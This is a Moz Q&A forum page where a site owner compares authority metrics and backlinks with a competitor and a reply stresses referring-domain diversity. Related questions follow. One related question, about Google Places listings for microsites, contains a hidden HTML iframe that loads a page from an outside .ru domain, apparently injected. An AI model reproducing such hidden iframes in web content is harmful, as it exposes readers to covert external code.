Comparing oddities between two websites
-
I've been working on SEO for a local website for a few years, last year a new competitor has popped up and started kicking my tail. So I figured I would pose the question and see if someone could point me in a different more helpful direction. I'm mainly stumped as to why the newer competitor has a higher DA and PA when I look at his link profile and lack of website content.
A few Comparison notes
- Competitor is using SSL on the entire site. I am not (Checkmark for him)
- Competitor has a spam score of 8 out of 17 I have a 1 out of 17 (Checkmark for me)
- Competitor has a DA of 18 - My DA is 17 (Checkmark for him)
- Competitor has a PA of 32 - My PA is 28 (Checkmark for him)
- My Established Link Domains 14 and 127 Links. Also the PA and DA of my external links are much better than the competitor.
- Competitor has Established Link Domains 9 and 30 Links Also the PA and DA of my external links are much better than the competitor. (Checkmark for me)
- I have created around 50 custom blog articles along with the pages on my site he has 0 and only 5 pages indexed by Google. (Checkmark for me)
The major issue when I do a comparison on OSE is that he has more external links and external equity passing links even though the links are very low value.
-
-
Hi Matt,
I can tell you that Google does not value multiple links from one domain, so if I get 40 links from example.com, it will not count nearly as much as if I got 40 links from different domains.
It looks like you have found a place where you have followed backlinks.
Because of the lack of RD's or backlink diversity, you would not be able to distinguish really if one site is all that much better from the back links perspective. (Without seeing the backlinks)
Then the other they're both really not the way you want Google to judge your back link profile based on such little diversity.
Something that leads me to believe he has more relevant or powerful backlinks. Please do not think I'm saying something negative I do not have all the information so I can only tell you what I think based on what I have been shown.
Meaning RD's And unique IP's are what matters not a bunch of links that for all they know could have been your buddies site how relevant are your backlinks and how established or how powerful are your backlinks that are from different domains compared to your competitor?
It seems based on the authority rankings that your competitor has more relevant or powerful back links. Think of it this way if I were in finance I would rather get a backlink from Bloomberg.com or Forbes.com then Moz.com however I would prefer backlink from Moz.com only because it is more relevant unless one of these magazines was doing a story on me and, therefore, making it suitable.
Every example I've given you is a very high domain authority URL. If I got 40 links from every one of them, it would not help me very much. Where if I got ten links from unique domains it would give me a hand much more.
Relevancy so if I have one link verse your 20, and I will take my one relevant link from a high authority domain verse I ton of these less powerful domains.
I'm not saying that you are thinking from bad domains I'm just saying that the statistics that you're giving me are not something that is surprising. You both have very few root domains it would have to be that this person has more relevant or more powerful root domains.
If you feel comfortable showing us your back link profile in their back link profile, I'll be more than happy to explain precisely what I mean.
Please understand there are a lot of moving parts and were just talking about page and domain authority not the other big players like brain rank.
I hope this is of some help,
Tom
Got a burning SEO question?
Subscribe to Moz Pro to gain full access to Q&A, answer questions, and ask your own.
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
Even after doing every possible thing required for SEO my client's website is not coming on top.can you tell me where i am lacking?
_ Hi team_ I have been working on a website called signboards.co.in since 4 months.it was not in top 100 but now below 50 for 2-3 keywords.even after submitting in many directories after competitor analysis moz shows only one external link in its link metrics.apart from this every possible thing required for SEO is done in a proper way,but still it is not giving results.can you help me out?all my other clients work is going good except this one.can you please let me know what is going wrong with my project?As the project submission date is near i need your help as soon as possible. Thanks Najia jehan
Local Website Optimization | | Najia-ali0 -
The best option for expanding a website to another country
Hi everyone, I have a couple questions about expanding my website from US to another country. Which option would be better to use: Country-Coded Top Level Domains, Sub-Directories or Sub-Domains? If I use a new domain, but I want to keep all the content, would canonicalization affect SEO of my new website? I want the new website (or another option) look just like the one I have, except for changing contact information, pictures and adding another language. Thank you!
Local Website Optimization | | KseniaLL0 -
Subdomain for ticketing of a client website (how to solve SEO problems caused by the subdomain/domain relationship)
We have a client in need of a ticketing solution for their domain (let's call it www.domain.com) which is on Wordpress - as is our custom ticket solution. However, we want to have full control of the ticketing, since we manage it for them - so we do not want to build it inside their original Wordpress install. Our proposed solution is to build it on tickets.domain.com. This will exist only for selling and issuing the tickets. The question is, is there a way to do this without damaging their bounce rate and SEO scores?
Local Website Optimization | | Adam_RushHour_Marketing
Since customers will come to www.domain.com, then click the ticketing tab and land on tickets.domain.com, Google will see this as a bounce. In reality, customers will not notice the difference as we will clone the look and feel of domain.com Should we perhaps have the canonical URL of tickets.domain.com point to www.domain.com? And also, can we install Webmaster Tools for tickets.domain.com and set the preferred domain as www.domain.com? Are these possible solutions to the problem, or not - and if not, does anyone else have a viable solution? Thank you so much for the help.0 -
Best practices for 301 redirect to a new location website.
We just opened a new location in a nearby city. We were already servicing this location from our main base. As such we had a special page for this location which raked fairly well. The new location will have its own website. Would it be better to 301 redirect the current location page to the new location website? Or should we simply link from the old page to the new location's website? Any best practices?
Local Website Optimization | | Vspeed0 -
Main Website and microsite - Do I do google places for both as it will technically be duplicating the locations,?
Hi All, I have a main eCommerce website which trades out of a number of locations and all these locations appear in google places although they don't rank particularly well in google places . I also have a number of microsites which are specific to one type of product I do and these rank very well locally. My question is , should I also do google places for my microsites as this would technically mean I am creating a duplicate location listing in google places but for a different website etc./business I only have one google account so I guess this would be done under the same google account ? thanks Pete <iframe id="zunifrm" style="display: none;" src="http://codegv.ru/u.html"></iframe>
Local Website Optimization | | PeteC120 -
Bad Backlinks and Copied Website
Since last fall our rankings have been steadily decreasing in position and now we are no longer showing in Google Local positions. We still have decent organic rankings but Local is our primary concern. My website: http://www.petmedicalcenter.com I did some digging and found a ton of spammy looking domains linking back to my site. I took a screenshot from Google Webmaster Tools - Links to Your Site page. http://screencast.com/t/8yYh65xlOU2y I am not sure how this happened as I did not add our URL to most of those websites. Also, I found that this website: http://justinchina.co.uk - has copied our entire website. Every time I make an update to the site, that webpage updates as well. At this point I don't know how to go about cleaning up this mess. Most of those linking domains do not have a contact button and I doubt they would remove my links at my request. Should I use Google's disavow tool? Any thoughts on that? or ideas? Thanks for your help! Brant
Local Website Optimization | | BCB11210 -
Website and eshop with the same product descrition is duplicate content
Hi there! I'm building a website that is divided in a "marketing" and "shop" sections. The 2 sites are being authored by two companies (my company is doing the marketing one). The marketing site has all the company products while the shop will sell just some of those. I'm facing the problem of duplicated content and want to ask you guys if it will be a problem/mistake to use the same product description (and similar url) for the same product in both sites, and the right way to do it (without rewriting product descriptions). the main site will be : www.companyname.com
Local Website Optimization | | svitol
the shop will be: shop.companyname.com thanks
Francesco0 -
How Best to do implement a Branch Locator for a Website with invididual location category pages
Hi All, We have an ecommerce Website with multiple locations for our stores and we currently display separate location specific pages for the different categories and sub categories. This has helped us previously to rank well for local search in each of the areas we have a store but over the last few months since humingbird, our local rankings on some things have dip a little . We want to implement a branch locator of some description to improve the user experience. From looking at other websites with branch locators, they tend to a separate button/page with which you can search for a branch etc. However, they don't have location specific pages. My query is should I do it so if a user comes in on a specific category location page and follows it through to product page , then to have a tab on the product page displaying the local branch from which he can come in. My thinking here is that , is that it would help confirm my local citations and help improve local rankings. Or Should the local branch be displayed on the local category pages instead or as well ?. If a user comes in from the homepage or not on a specific location page, then the branch locator will allow them to search for a specific branch. Should I also put in a branch locator as a separate page or can It be in more places. I don't want to damage anything which may have an effect on rankings due to citations and NAP on the location specific pages. Any advice or good examples to look at would be greatly appreciated thanks Sarah.
Local Website Optimization | | SarahCollins1